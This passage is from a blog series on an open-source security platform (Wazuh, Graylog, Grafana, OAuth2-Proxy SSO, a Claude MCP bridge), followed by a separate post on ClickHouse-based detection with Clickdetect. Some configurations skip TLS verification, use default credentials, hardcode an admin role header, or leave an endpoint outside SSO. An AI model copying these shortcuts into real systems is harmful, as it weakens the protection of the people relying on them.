  tcp_nodelay on;
  keepalive_timeout 65;
  keepalive_requests 1000;
  types_hash_max_size 2048;
  server_tokens off;
  gzip on;
  gzip_vary on;
  gzip_min_length 256;
  gzip_proxied any;
  gzip_comp_level 6;
  gzip_buffers 16 8k;
  gzip_http_version 1.1;
  gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
  ssl_protocols TLSv1.2 TLSv1.3;
  ssl_prefer_server_ciphers on;
  ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:!aNULL:!MD5:!3DES:!CBC:!SHA1';
  ssl_session_cache shared:SSL:10m;
  ssl_session_timeout 15m;
  access_log /var/log/nginx/access.log combined buffer=512k flush=1m;
  error_log /var/log/nginx/error.log;
  include /etc/nginx/conf.d/*.conf;
  include /etc/nginx/sites-enabled/*;

}

Security Headers snippet

Best practices that strengthen your website’s security against common attacks.

# /etc/nginx/snippets/security-headers.conf

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Content-Type-Options nosniff;
add_header X-Download-Options "noopen";
add_header Permissions-Policy 'geolocation=(), microphone=(), camera=()';
add_header Referrer-Policy 'no-referrer';
add_header Content-Security-Policy 'upgrade-insecure-requests';

OAuth2-Proxy snippet

This snippet is included in every virtual host that requires authentication. It defines two locations: one for the OAuth2 flow and one internal for validating sessions.

# /etc/nginx/snippets/oauth2-proxy.conf

location /oauth2/ {
  proxy_pass http://localhost:4180;
  proxy_set_header Host $host;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  proxy_set_header Content-Length "";
  proxy_pass_request_body off;
  access_log off;
}

location = /oauth2/auth {
  internal;
  proxy_pass http://localhost:4180;
  proxy_set_header Host $host;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  proxy_set_header Content-Length "";
  proxy_pass_request_body off;
}

The Content-Length: "" headers and proxy_pass_request_body off are critical. Without them, authentication requests to internal APIs fail. This configuration has been validated in production.

Virtual hosts: one per application

Each application has its own configuration file. The pattern is consistent:

• Redirect HTTP to HTTPS (301).
• TLS with Wildcard certificate.
• Include security headers and OAuth2-Proxy snippet.
• Proxy pass to each application’s local port.

Wazuh Host

⚠ Firstly, proxy authentication in Wazuh does not require creating internal users.

⚠ This configuration is intended for administration; therefore, it has the "admin" backend role hardcoded.

proxy_set_header x-proxy-roles "admin"

You can associate Security Groups or Nginx mappings with custom backend roles. See the Custom Backend Roles references later in the authentication section.

# /etc/nginx/sites-available/wazuh

server {
  listen 80;
  server_name wazuh.<domain.com>;
  access_log off;
  log_not_found off;
  return 301 https://wazuh.<domain.com>$request_uri;
}

server {
  listen 443 ssl;
  server_name wazuh.<domain.com>;
  ssl_certificate /etc/nginx/TLS/certificate.crt;
  ssl_certificate_key /etc/nginx/TLS/private.key;
  include /etc/nginx/snippets/security-headers.conf;
  include /etc/nginx/snippets/oauth2-proxy.conf;
  location / {
   #auth_request /oauth2/auth;
   error_page 401 = /oauth2/start;
   auth_request_set $user $http_x_auth_user;
   proxy_set_header x-proxy-user $user;
   proxy_set_header x-proxy-roles "admin";
   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
   proxy_set_header X-Real-IP $remote_addr;
   proxy_http_version 1.1;
   proxy_read_timeout 10s;
   proxy_set_header Upgrade $http_upgrade;
   proxy_set_header Connection 'upgrade';
   proxy_set_header Host $host;
   proxy_cache_bypass $http_upgrade;
   proxy_set_header X-Forwarded-Proto $scheme;
   proxy_pass https://localhost:8080;
   access_log off;
   log_not_found off;
  }
}

Graylog Host

# /etc/nginx/sites-available/graylog

server {
  listen 80;
  server_name graylog.<domain.com>;
  access_log off;
  log_not_found off;
  return 301 https://graylog.<domain.com>$request_uri;
}

server {
  listen 443 ssl;
  server_name graylog.<domain.com>;
  ssl_certificate /etc/nginx/TLS/certificate.crt;
  ssl_certificate_key /etc/nginx/TLS/private.key;
  include /etc/nginx/snippets/security-headers.conf;
  include /etc/nginx/snippets/oauth2-proxy.conf;
  location / {
   #auth_request /oauth2/auth;
   error_page 401 = /oauth2/start;
   auth_request_set $user $http_x_auth_user;
   proxy_set_header x-proxy-user $user;
   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
   proxy_set_header X-Real-IP $remote_addr;
   proxy_http_version 1.1;
   proxy_read_timeout 10s;
   proxy_set_header Upgrade $http_upgrade;
   proxy_set_header Connection 'upgrade';
   proxy_set_header Host $host;
   proxy_cache_bypass $http_upgrade;
   proxy_set_header X-Forwarded-Proto $scheme;
   proxy_pass http://localhost:9000;
   proxy_set_header X-Graylog-Server-URL https://$server_name;
   access_log off;
   log_not_found off;
  }
}

Graylog MCP Host

# /etc/nginx/sites-available/graylog-mcp

server {
  listen 443 ssl;
  server_name graylog-mcp.<domain.com>;
  ssl_certificate /etc/nginx/TLS/certificate.crt;
  ssl_certificate_key /etc/nginx/TLS/private.key;
  include /etc/nginx/snippets/security-headers.conf;
  location  / {
   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
   proxy_set_header X-Real-IP $remote_addr;
   proxy_http_version 1.1;
   proxy_read_timeout 10s;
   proxy_set_header Upgrade $http_upgrade;
   proxy_set_header Connection 'upgrade';
   proxy_set_header Host $host;
   proxy_cache_bypass $http_upgrade;
   proxy_set_header X-Forwarded-Proto $scheme;
   proxy_pass http://localhost:9000/api/;
   access_log off;
   log_not_found off;
  }
}

Grafana Host

# /etc/nginx/sites-available/grafana

server {
  listen 80;
  server_name grafana.<domain.com>;
  access_log off;
  log_not_found off;
  return 301 https://grafana.<domain.com>$request_uri;
 }

server {
  listen 443 ssl;
  server_name grafana.<domain.com>;
  ssl_certificate         /etc/nginx/TLS/certificate.crt;
  ssl_certificate_key     /etc/nginx/TLS/private.key;
  include /etc/nginx/snippets/security-headers.conf;
  include /etc/nginx/snippets/oauth2-proxy.conf;
  location  / {
   #auth_request /oauth2/auth;
   error_page 401 = /oauth2/start;
   auth_request_set $user $http_x_auth_user;
   proxy_set_header x-proxy-user $user;
   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
   proxy_set_header X-Real-IP $remote_addr;
   proxy_http_version 1.1;
   proxy_read_timeout 10s;
   proxy_set_header Upgrade $http_upgrade;
   proxy_set_header Connection 'upgrade';
   proxy_set_header Host $host;
   proxy_cache_bypass $http_upgrade;
   proxy_set_header X-Forwarded-Proto $scheme;
   proxy_pass http://localhost:3000;
   access_log off;
   log_not_found off;
  }
}

The auth_request is intentionally commented during initial configuration — it's enabled in the Authentication article, once all roles and users are configured in each application.

graylog-mcp: a special virtual host without OAuth2 so Claude can access the Graylog MCP Bridge directly with Basic authentication. Covered in the Graylog MCP article.

# Create links

cd /etc/nginx/sites-enabled
ln -s ../sites-available/wazuh
ln -s ../sites-available/graylog
ln -s ../sites-available/graylog-mcp
ln -s ../sites-available/grafana

Configure certificates

/etc/nginx/TLS/certificate.crt — Site and intermediate certificates.
/etc/nginx/TLS/private.key — Private key.

TLS and verification

# Certificate with restrictive permissions

chmod 400 /etc/nginx/TLS/*

# Verify configuration before starting

nginx -t

Expected response:

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

# Restart

systemctl restart nginx

Troubleshooting Guide

Log Paths and Common Issues in a Complex Security Stack

Part 10

When something fails in a stack of this complexity — and something always does — knowing exactly where to look for information is the difference between resolving the problem in five minutes or an hour. This article documents the log paths for all components and the most common problems encountered during implementation.

Real-time log monitoring

To monitor any service in real time.

# Filtered error warn
journalctl -u <service> | grep -i -E "error|warn"

# Limit the number of the last events shown
journalctl -u <service> -n <number>

# Show only the most recent journal entries, and continuously print new entries
journalctl -fu <service>

# Jump to the end and augment log lines with explanation texts from the message catalog
journalctl -xeu <service>

Where <service> can be any of the following:

• wazuh-dashboard
• wazuh-indexer
• wazuh-manager
• graylog-server
• mongod
• grafana-server
• oauth2-proxy
• fluent-bit
• nginx
• redis-server

Log file paths
For direct access to log files:

tail -f <path>

• Wazuh-Indexer /log/wazuh-indexer/wazuh-cluster.log
• Graylog /log/graylog/server.log
• MongoDB /log/mongodb/mongod.log
• Grafana /log/grafana/grafana.log
• Fluent Bit /log/fluent-bit/td-agent-bit.log
• OAuth2-Proxy /log/oauth2-proxy/oauth2.log
• Nginx /log/nginx/error.log
• Redis /log/redis/redis-server.log

Known issue: unexpected server restart

Symptom: Wazuh Manager fails to start after an unexpected server restart. The log shows:

ERROR: Another instance is locking this process. If you are sure that
no other instance is running, please remove
/var/ossec/var/start-script-lock/

Cause: Wazuh creates a lock directory when starting and removes it on clean shutdown. If the server restarts abruptly (power cut, OOM killer, etc.), the directory remains and the next startup fails.

Solution: Remove the lock directory manually and start service.

rm -rf /var/ossec/var/start-script-lock/
systemctl start wazuh-manager

Recommended diagnostic approach

When something isn’t working, the recommended review order is:

1. Is the service running? systemctl status <service>
2. Any recent errors? journalctl -xeu <service> --since "10 minutes ago"
3. Does the service’s own log file have more detail? tail -50 <log_path>
4. For network issues between components: verify ports are listening
   ss -tlnp | grep <port>
5. For authentication issues: check the OAuth2-Proxy log and the headers Nginx is sending.

The most frequent problems in this implementation were:

• Incorrect indentation in fluent-bit.conf (service starts without errors but doesn't process data).
• Wazuh TLS certificate not included in Graylog’s JKS (connection silently rejected).
• Service startup order: MongoDB must be running before Graylog.

Authentication: SSO and Integration Graylog with Wazuh

Part 11

This is the most complex article in the series. Up to this point, all components are installed, but each has its own authentication system. The goal of this article is to configure the three solutions to accept the user identity propagated by OAuth2-Proxy via Nginx — completely eliminating local passwords from the daily login cycle.

⚠ Important: Follow the order A->B->C->D. Configuring proxy authentication on a system before the user has been created will result in loss of access.

Verify the response of each curl command before proceeding.

# Create random passwords for users

cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1

How Proxy Authentication Works

The mechanism is as follows: Nginx validates the user’s identity with OAuth2-Proxy and then injects the username as an HTTP header x-proxy-user in each request to applications. Each application must be configured to trust this header and automatically assign roles.

Continue with the following four steps:

11-A. Wazuh OAuth2

# Reload systemctl and start services

systemctl daemon-reload
systemctl start oauth2-proxy wazuh-manager wazuh-indexer wazuh-dashboard

Startups may take some time. Check the logs for errors before continuing.

Creating Role Mapping

Wazuh needs a role mapping that associates the username propagated by the proxy with the administrator role.

Option A — Web
https://wazuh.<domain.com>/app/security#/security?tab=roleMapping

Use the “admin” credential from the “wazuh-passwords.txt” file.

• Role mapping name: ProxyAuth
• Roles: administrator
• Custom rules → “Add new rule”
• User field: user_name
• Search operation: MATCH
• Value: <AD_user>

Option B — API

Use the “wazuh-wui” credential from the “wazuh-passwords.txt” file.

# Generate token

token=$(curl -u wazuh-wui:<password> -k -X POST "https://localhost:55000/security/user/authenticate?raw=true")

# Create rule

curl -k -X POST "https://localhost:55000/security/rules" \
-H "Authorization: Bearer $token" \
-H "Content-Type: application/json" \
-d '{
  "name": "ProxyAuth",
  "rule": {
    "MATCH": {
      "user_name": "<AD_user>"
    }
  }
}'

Rule created with ID: 100

# Assign the rule to the administrator role

curl -k -X POST "https://localhost:55000/security/roles/1/rules?rule_ids=<id_rule>" \
-H "Authorization: Bearer $token" \
-H "Content-Type: application/json"

— — — end options

Configure proxy authentication in OpenSearch

# /etc/wazuh-dashboard/opensearch_dashboards.yml - Add and replace (part of the file)

opensearch_security.auth.type: "proxy"
opensearch_security.proxycache.user_header: "x-proxy-user"
opensearch_security.proxycache.roles_header: "x-proxy-roles"
opensearch_security.proxycache.proxy_header: "x-forwarded-for"
opensearch_security.proxycache.proxy_header_ip: "127.0.0.1"
opensearch.requestHeadersAllowlist: ["securitytenant","Authorization","x-proxy-user","x-proxy-roles","x-forwarded-for"]

# /etc/wazuh-indexer/opensearch-security/config.yml — Enable xff and proxy auth (part of the file)

xff:
  enabled: true
  internalProxies: '127\.0\.0\.1'

proxy_auth_domain:
  description: "Authenticate via proxy"
  http_enabled: true

# /etc/nginx/sites-enabled/wazuh - Enable

auth_request /oauth2/auth;

# Apply changes

cd /etc/wazuh-indexer/opensearch-security/
/usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh \
  -cacert /etc/wazuh-indexer/certs/root-ca.pem \
  -cert /etc/wazuh-indexer/certs/admin.pem \
  -key /etc/wazuh-indexer/certs/admin-key.pem \
  -h 127.0.0.1
systemctl restart wazuh-dashboard nginx

As of now, Wazuh uses OAuth2-Proxy for authentication.

Custom Backend Roles

If your goal is to replace the backend role hardcoded with a Group 365:

• In the App Entra ID, add Security Group ID in Token optional Group Claims (Token configuration).
• Next, obtain the Object ID of group 365.
• Duplicate the “all_access” role at: https://wazuh.<domain.com>/app/security-dashboards-plugin#/roles/duplicate/all_access and name it "Group365" for reference.
• Then, go to the mapping page: https://wazuh.<domain.com>/app/security-dashboards-plugin#/roles/edit/Group365/mapuser and paste the Object ID into the Backend roles field.
• In /etc/wazuh-indexer/opensearch.yml, add "Group365" to the list defined under plugins.security.restapi.roles_enabled.
• In Nginx Wazuh Host set auth_request_set $roles $upstream_http_x_auth_request_groups and proxy_set_header x-proxy-roles $roles.
• Restart wazuh-indexer and nginx systemctl restart wazuh-indexer nginx

References

# /etc/nginx/sites-enabled/wazuh

location / {
   auth_request /oauth2/auth;
   error_page 401 = /oauth2/start;
   auth_request_set $user $http_x_auth_user;
   proxy_set_header x-proxy-user $user;
   auth_request_set $roles $upstream_http_x_auth_request_groups;
   proxy_set_header x-proxy-roles $roles;
   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
   proxy_set_header X-Real-IP $remote_addr;
   proxy_http_version 1.1;
   proxy_read_timeout 10s;
   proxy_set_header Upgrade $http_upgrade;
   proxy_set_header Connection 'upgrade';
   proxy_set_header Host $host;
   proxy_cache_bypass $http_upgrade;
   proxy_set_header X-Forwarded-Proto $scheme;
   proxy_pass https://localhost:8080;
   access_log off;
   log_not_found off;
  }

# /etc/wazuh-indexer/opensearch.yml

plugins.security.restapi.roles_enabled:
- "all_access"
- "security_rest_api_access"
- "Group365"

Alernative Map Nginx

# /etc/nginx/nginx.conf

http {
  map $upstream_http_x_auth_request_email $http_x_auth_user {
    "~^(?<user>[^@]+)@" $user;
  }

map $http_x_auth_user $roles {
    "<AD_user1>" "<group_object_id>";
    "<AD_user2>" "readall";
  }

11-B. Connect Graylog to Wazuh Indexer

Create user in Wazuh for Graylog

Graylog needs a user in Wazuh Indexer to be able to index logs.

Use the “admin” credential from the “wazuh-passwords.txt” file.

User defined “graylog” (or you can choose another name).

Option A — Web
https://wazuh.<domain.com>/app/security-dashboards-plugin#/users

• Username: graylog
• Password: <password>
• Backend roles: admin

Option B — API

# Create user

curl -k -X PUT "https://127.0.0.1:9200/_plugins/_security/api/internalusers/graylog" \
-H "Content-type: application/json" \
-u "admin:<password>" \
-d '{
  "password": "<password>",
  "backend_roles": ["admin"]
}'

— — — end options

# /etc/graylog/server/server.conf - Enable ElasticSearch connection

elasticsearch_hosts = https://graylog:<password>@127.0.0.1:9200

Use “127.0.0.1” and not “localhost” — Wazuh’s TLS certificate requires the SAN (Subject Alternative Name) to match exactly.

11-C. Graylog OAuth2

# Start services

systemctl start mongod graylog-server

Use the “admin” credential, reference.

Option A — Web

Enable header
https://graylog.<domain.com>/system/authentication/authenticator/edit

• Enabled: ✓
• Username header: x-proxy-user

Create user
https://graylog.<domain.com>/system/users/new

• First Name: <first_name>
• Last Name: <last_name>
• Username: <AD_user>
• E-Mail Address: <email>
• Assign Roles: Admin
• Password: <password>

Option B — API

# Enable header

curl -X PUT "http://localhost:9000/api/system/authentication/http-header-auth-config" \
-H "Content-Type: application/json" \
-H "X-Requested-By: cli" \
-u "admin:<password>" \
-d '{
  "enabled": true,
  "username_header": "x-proxy-user"
}'

# Create user

curl -X POST "http://localhost:9000/api/users" \
-H "Content-Type: application/json" \
-H "X-Requested-By: cli" \
-u "admin:<password>" \
-d '{
  "first_name": "<first_name>",
  "last_name": "<last_name>",
  "username": "<AD_user>",
  "email": "<email>",
  "password": "<password>",
  "roles": ["Admin"],
  "permissions": []
}'

— — — end options

# /etc/graylog/server/server.conf -Enable and edit

trusted_proxies = 127.0.0.1/32

# /etc/nginx/sites-enabled/graylog - Enable

auth_request /oauth2/auth;

# Apply changes

systemctl restart graylog-server nginx

11-D. Grafana OAuth2

# Start service

systemctl start grafana-server

Create user

Use the default “admin:admin” credential.

Option A — Web
https://grafana.<domain.com>/admin/users/create

• Name: <name>
• Email: <email>
• Username: <AD_user>
• Password: <password>

Next screen:

• Enable "Grafana Admin” and change to "Admin" role.

Option B — API

# Create user

curl -X POST "http://localhost:3000/api/admin/users" \
-H "Content-Type: application/json" \
-u "admin:<password>" \
-d ' {
  "name":"<name>",
  "email":"<email>",
  "login":"<AD_user>",
  "password":"<password>"
}'

Account created with ID: 2

# Assign global admin

curl -X PUT "http://localhost:3000/api/admin/users/<user_id>/permissions" \
-H "Content-Type: application/json" \
-u "admin:<password>" \
-d '{
  "isGrafanaAdmin": true
}'

# Assign organization administrator role

curl -X PATCH "http://localhost:3000/api/orgs/1/users/<user_id>" \
-H "Content-Type: application/json" \
-u "admin:<password>" \
-d '{
  "role":"Admin"
}'

— — — end options

# /etc/grafana/grafana.ini - Enable and edit

[auth.proxy]
enabled = true
header_name = x-proxy-user
header_property = username
auto_sign_up = false
sync_ttl = 3600
whitelist = 127.0.0.1

# /etc/nginx/sites-enabled/grafana - Enable

auth_request /oauth2/auth;

# Apply changes

systemctl restart grafana-server nginx

⚠ Important: For security reasons, replace the default password for the user “admin”.

Graylog Ingest: Configuring Data Ingest from Fluent Bit

Part 12

With all components installed and SSO authentication configured, it’s time to connect the final wires: configure Graylog to receive the events that Fluent Bit sends from Wazuh, and activate all services so that the platform is fully operational.

Fluent Bit sends Wazuh events to “localhost:5555” in JSON format. Graylog needs an active input listening on that port to process them.

Option A — Web interface:
https://graylog.<domain.com>/system/inputs

• Select input type: Raw HTTP
• Click “Launch new input”
• Configure:
  Title: Wazuh
  Bind address: 127.0.0.1
• Click “Launch Input”
• Follow the wizard to start the input and verify your diagnosis.

Option B — API:

# Create RAW HTTP input - Graylog admin credential

curl -X POST "http://localhost:9000/api/system/inputs" \
-H "Content-Type: application/json" \
-H "X-Requested-By: cli" \
-u "admin:<password>" \
-d '{
  "title": "Wazuh",
  "type": "org.graylog2.inputs.raw.http.RawHttpInput",
  "global": true,
  "configuration": {
    "bind_address": "127.0.0.1",
    "port": 5555,
    "recv_buffer_size": 1048576,
    "max_chunk_size": 65536
  }
}'

bind_address: 127.0.0.1 limits listening to the local interface — Fluent Bit runs on the same server, so there’s no need to expose the port externally.

Standard configuration uses the default stream.

— — — end options

With the platform fully configured, we enable automatic service startup and start Fluent Bit to begin receiving events:

systemctl enable fluent-bit mongod graylog-server grafana-server oauth2-proxy
systemctl start fluent-bit

Order matters: MongoDB must be running before Graylog, and OAuth2-Proxy before Nginx. The “enable” command ensures that systemd respects dependencies on future server restarts.

Verification: Is everything Working?

Once all services are active, verify the complete flow:

1. Fluent Bit is reading Wazuh alerts:
   tail -f /log/fluent-bit/td-agent-bit.log
   You should see error-free processing lines.
2. Graylog is receiving messages: In the web interface, navigate to Search and verify that messages with the source “wazuh” are arriving.
3. SSO Authentication: Access https://site.domain.com from your browser — it should redirect you to the IdP and then return authenticated.
4. Grafana connected to Wazuh: In Grafana, configure a data source pointing to Wazuh and verify that it returns data.

Graylog MCP + Claude: Querying Security Logs in Natural Language with AI

Part 13

This is the most groundbreaking article in the series. The platform is already operational: Wazuh detects threats, Fluent Bit transports events, Graylog indexes them, and Grafana visualizes them. But there’s an additional layer that completely changes how we interact with security data: integrating Claude as an AI client on the Graylog REST API — MCP is more than an API; it’s a Bridge.

What is MCP and why does it matter?
MCP (Model Context Protocol) is a protocol that allows language models like Claude to connect directly with external tools and data sources. In this case, Graylog exposes its API as an MCP server, and Claude acts as an intelligent client that can query, filter, and analyze security logs.

The change this produces is significant:

• Instead of building queries in the Graylog interface, the analyst writes in natural language: “Were there any failed login attempts in the last 2 hours?”
• Instead of reviewing hundreds of log lines, Claude summarizes the relevant patterns and presents them in context.
• Non-technical users — operators without SIEM experience — can interact directly with the security data.
• Every query is logged in Graylog like any other API interaction, maintaining complete traceability.

Architecture of integration

A specific virtual host was created in Nginx “graylog-mcp” without OAuth2-Proxy — Claude authenticates directly with Basic credentials encoded in base64.

Installation

On the client:

1. NodeJS: https://nodejs.org/en/download
2. Claude Desktop: https://claude.com/download

Configuration in Graylog

Step 1: Enable MCP in Graylog

https://graylog.<domain.com>/system/configurations/MCP

Step 2: Create a user token

Navigate to https://graylog.<domain.com>/system/users → Actions → More → Edit tokens.

• Token Name: <name>
• Token TTL: <time>

TTL Syntax Examples: for 60 seconds: PT60S, for 60 minutes: PT60M, for 24 hours: PT24H, for 30 days: P30D

Step 3: Base64 Encoding of Credentials

The format is "<token>:token” encoded in base64.

echo -n "<token>:token" | base64

Claude Desktop Configuration

Edit the “claude_desktop_config.json” file in Claude Desktop, usually located in "%APPDATA%\CLAUDE\".

{
  "mcpServers": {
    "Graylog": {
      "command": "C:\\Program Files\\nodejs\\npx",
      "args": [
        "mcp-remote",
        "https://graylog-mcp.<domain.com>/mcp",
        "--header",
        "Authorization: Basic <credential_b64>"
      ]
    }
  }
}

Replace <domain.com> with your actual domain and <credential_b64> with the base64 value generated in the previous step.

Restart Claude Desktop and check the connection status in:
Settings → Developer

The state should be running or refer to the logs.

Real-world use cases

Once connected, Claude can answer questions such as:

• “How many critical alerts did Wazuh generate today?”
• “Are there any IPs that repeatedly attempted to connect without success?”
• “Summarize the events of the last 30 minutes”
• “Which services experienced errors in the last 6 hours?”

The response is not a list of raw logs — it’s a natural language analysis with relevant patterns identified and contextualized.

Security considerations

• Access to graylog-mcp is restricted to HTTPS with a valid certificate.
• Base64-encoded credentials are NOT encrypted — they are only encoded. True security lies in TLS and ensuring the endpoint is only accessible from the corporate network.
• Every request from Claude is logged in the Graylog access log, maintaining a complete audit trail.
• Rotating the token periodically is a best practice.

Final Architecture, evidences, and Conclusions: An Open Source Security Platform in Production

Part 14

This is the final article in the series. After thirteen articles covering each component of the stack — from Wazuh to integration with Claude via MCP — it’s time to see the big picture and reflect on what worked, and what cost more than expected.

Wazuh

Graylog

Grafana

Claude

The Complete Architecture

The diagram shows two main flows that coexist on the platform:

Data Flow

Wazuh detects events and writes them in JSON format. Fluent Bit continuously reads this file and forwards each event to Graylog via TCP. Graylog indexes the data to Wazuh Indexer (returns the connection to OpenSearch). Grafana connects to Wazuh as a data source for dashboards. Claude accesses the Graylog MCP Bridge for natural language queries.

Authentication Flow

The user accesses any of the three systems with their corporate account. Nginx queries OAuth2-Proxy on each request. OAuth2-Proxy validates the session (stored in Redis) or redirects to IdP for authentication. Once authenticated, Nginx propagates the username as an HTTP header to the corresponding application.

Lessons Learned

What worked well:

• Separate LVM volumes — the best implementation decision. On three occasions, logs grew larger than expected; none of these affected the operating system or application data.
• Single authentication point — after the initial (and complex) setup, the user experience is seamless. One login for three systems.
• Fluent Bit vs. Filebeat — Fluent Bit’s resource consumption is significantly lower. On a shared server, this matters.
• Graylog MCP + Claude — the most differentiating component. It completely changed how non-technical users interact with security data.

What cost more than expected:

• TLS between Graylog and Wazuh Indexer — the JKS and CA certificate import is the step with the most incorrect documentation online. The guide in this article reflects what actually works.
• Order of operations in Authentication — configuring the authentication proxy before creating users results in loss of access. The order matters.

Is it worth it?

For an organization that wants true visibility into its infrastructure without paying for commercial SIEM tool licenses (which can cost tens of thousands of dollars annually), the answer is yes.

The real cost is implementation time and technical expertise. This well-documented stack can be replicated in a single workday using this guide. The necessary technical knowledge includes Linux administration, basic TLS concepts, and reading the official documentation.

What you get in return is a security platform with features comparable to commercial solutions, complete control over your data, no vendor lock-in, and the ability to extend it with any component you need.

About this series

This implementation was carried out in production for the IT Infrastructure. All documentation reflects real decisions, real problems, and solutions that work in production.

If you have questions, found a bug, or want to share an improvement, the comments are open.

Your Turn — Operational Ownership

From here, the real value comes from how you adapt it to your environment. As the operator or administrator, the next layer is yours to build:

Graylog: Create dedicated indexes and streams per data source; build a JSON extractor for the message field to enable structured search.

Vulnerability visibility: A custom script can reindex Wazuh’s vulnerability summary index and inject it into Graylog via a new GELF HTTP input — all through the APIs — making vulnerability summaries available in Grafana dashboards .

Alerting and reporting: Define alert conditions and scheduled reports based on what matters to your organization.

Grafana dashboards: Design views tailored to what your team or clients actually need to see.

API automation: Build scripts to automate recurring calls across the stack.

Threat intelligence: Cross-reference events with NIST NVD and CISA KEV for deeper context and custom correlations.

If you have questions or need guidance on the operational side, feel free to reach out — happy to support within my availability.

Author: Antonio Valenzuela Serra — SysAdmin — Chile — May 2026\

Open Source Security IT Platform: Threat Detection, Logging, Alerts, AI and SSO integration. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

This post will not cover how to collect data into Clickhouse. Instead, I will focus on a base table schema for receiving logs and performing detection with Clickdetect.

In a future post, I will show you how to use Wazuh to send data to any datasource and leverage Clickdetect to power Wazuh detections.

Why Clickhouse instead ElasticSearch

I’m not sponsored by Clickhouse, but I love this database, you can do everything you want and use it in any situation.

I thought about this many times, and this is why I prefer Clickhouse instead of ElasticSearch for log management.

1. Log data is parsed and decoded, so logs can be stored as JSON. Clickhouse is awesome at searching JSON data: look at this post;
2. Clickhouse can decrease disk usage by 90% and deliver the same or better performance than Elastic/OpenSearch;
3. Clickhouse can perform full-text search and you can create better indexes for logs;
4. More control of data. You can do anything in clickhouse and use it for any situation you might have;
5. Scalability. Take a look in distributed table;
6. Storage
   * You can use hybrid storage like Host/Amazon S3 or only Host or S3;
   * You can encrypt data to be compliance;
   * Tables in clickhouse are compressed by default.
7. SQL ( Do I need to say anything? )

Companies that use Clickhouse¶

1. Huntress
2. RunReveal
3. Exabeam
4. Fortinet (FortiSIEM)
5. Cloudflare

Architecture

A basic architecture how this will work.

• Logs are sent by assets to wazuh;
• Wazuh decodes and send parsed logs to Clickhouse;
• Clickdetect will be scheduled to detect and generate alerts;
• Alerts are sent to a webhook.

Clickhouse Wazuh Schema

This schema is for Wazuh Alerts. In this case, Wazuh is only a log collector — we will only need Wazuh’s decoder capabilities.

Database

CREATE DATABASE IF NOT EXISTS siem

Table

CREATE TABLE IF NOT EXISTS siem.wazuh_alerts (
    id UUID default generateUUIDv7() CODEC(ZSTD(1)),
    timestamp DateTime64(6) DEFAULT now() CODEC(DoubleDelta),
    retention UInt16 DEFAULT 30,
    tenant LowCardinality(String) CODEC(ZSTD(1)),
    rule_id UInt32 CODEC(Delta(8), ZSTD(1)),
    rule_description String CODEC(ZSTD(1)),
    rule_groups Array(LowCardinality(String)) CODEC(ZSTD(1)),
    rule_level UInt8,
    agent_id UInt16,
    agent_name String CODEC(ZSTD(1)),
    manager LowCardinality(String) CODEC(ZSTD(1)),
    agent_ip String CODEC(ZSTD(1)),
    full_log String CODEC(ZSTD(22)),
    message String CODEC(ZSTD(22)),
    srcuser String CODEC(ZSTD(1)),
    dstuser String CODEC(ZSTD(1)),
    srcip String CODEC(ZSTD(1)),
    dstip String CODEC(ZSTD(1)),
    hostname String CODEC(ZSTD(1)),
    location String CODEC(ZSTD(1)),
    decoder LowCardinality(String) CODEC(ZSTD(1)),
    action LowCardinality(String) CODEC(ZSTD(1)),
    protocol LowCardinality(String) CODEC(ZSTD(1)),
    status LowCardinality(String) CODEC(ZSTD(1)),
    alert JSON CODEC(ZSTD(1)),

    INDEX idx_full_log full_log TYPE tokenbf_v1(32768, 3, 0) GRANULARITY 1,
    INDEX idx_rule_description rule_description TYPE tokenbf_v1(8192, 3, 0) GRANULARITY 1,
    INDEX idx_rule_groups rule_groups TYPE bloom_filter(0.01) GRANULARITY 1
)
engine = MergeTree
partition by (toYYYYMMDD(timestamp), tenant)
order by (tenant, toUnixTimestamp(timestamp), id)
TTL timestamp + toIntervalDay(retention)
settings
    index_granularity = 4096,
    ttl_only_drop_parts = 1,
    storage_policy = 'your_s3_policy'

Performing detection with clickdetect

To perform detection in clickhouse, we need to create our runner

Runner

Define datasource

datasource:
    type: clickhouse
    host: <clickhouse ip>
    port: 8123
    verify: false
    username: default
    password: default
    database: siem

Define webhook

webhooks:
    webhook_name:
        type: generic
        url: http://<webhook_host>/

Define detector

detectors:
    detector_N:
        name: "Detector name"
        description: "Detector description"
        for: 5m # detector time (s, m, h, d)
        rules:
            - "detect_test.yml" # you can use * for match directory
        data:
            var1: "my var"

Rule

id: "00000000-0000-0000-0000-000000000000"
name: "Detect all data in clickhouse"
level: 1
size: ">0"
author: 
    - Vinicius Morais <me@souzo.me>
rule: |-
    SELECT * FROM wazuh_alerts LIMIT 100;

Clickdetect

Run clickdetect with the created runner.yml

uv run clickdetect -r runner.yml

Conclusion

With just a Clickhouse table, a runner configuration, and a detection rule, you have the foundation of a functional SIEM. This architecture is lightweight, cost-effective, and scales well — whether you’re running it on a single node or a distributed Clickhouse cluster.

The key advantage over traditional SIEM solutions is control: you own the data, you define the schema, and you write the detections in plain SQL. There are no vendor lock-ins, no per-GB ingestion fees, and no black-box detection engines.

Rule: more rules examples you can found here

Next Steps

This post covered the base architecture. Here is what comes next:

• Part 2 — Wazuh + Clickdetect: How to configure Wazuh to forward decoded alerts directly to Clickhouse, and how to write detection rules that leverage Wazuh’s decoded fields.
• Alerting pipelines: Routing alerts to Slack, PagerDuty, or a ticketing system using Clickdetect webhooks.
• Multi-tenancy: Using the tenant field to isolate data between clients or business units in a single Clickhouse cluster.

Follow along on GitHub and feel free to open issues or contribute detection rules.

